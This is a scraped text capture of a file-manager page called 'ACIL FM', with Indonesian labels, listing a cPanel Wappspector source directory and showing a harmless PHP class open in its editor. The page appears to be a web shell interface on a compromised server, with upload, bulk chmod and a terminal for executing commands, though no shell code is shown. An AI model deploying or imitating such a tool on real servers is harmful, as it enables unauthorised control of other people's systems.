ACIL FM
Dark
Refresh
Current DIR:
/opt/cpanel/ea-wappspector/src
/
opt
cpanel
ea-wappspector
src
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
Command
-
chmod
Open
Rename
Delete
Helper
-
chmod
Open
Rename
Delete
Matchers
-
chmod
Open
Rename
Delete
MatchResult
-
chmod
Open
Rename
Delete
container.php
1.83 MB
chmod
View
DL
Edit
Rename
Delete
DIContainer.php
384 B
chmod
View
DL
Edit
Rename
Delete
FileSystemFactory.php
364 B
chmod
View
DL
Edit
Rename
Delete
Wappspector.php
1.01 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/cpanel/ea-wappspector/src/Wappspector.php
<?php namespace Plesk\Wappspector; use Plesk\Wappspector\Matchers\MatcherInterface; use Plesk\Wappspector\MatchResult\EmptyMatchResult; use Plesk\Wappspector\MatchResult\MatchResultInterface; use Throwable; final class Wappspector { /** * @param callable $fsFactory */ public function __construct(private $fsFactory, private array $matchers) { } /** * @return MatchResultInterface[] * @throws Throwable */ public function run(string $path, string $basePath = '/', int $matchersLimit = 0): iterable { $fs = ($this->fsFactory)($basePath); $result = []; /** @var MatcherInterface $matcher */ foreach ($this->matchers as $matcher) { if (($match = $matcher->match($fs, $path)) instanceof EmptyMatchResult) { continue; } $result[] = $match; if ($matchersLimit > 0 && count($result) >= $matchersLimit) { break; } } return $result; } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply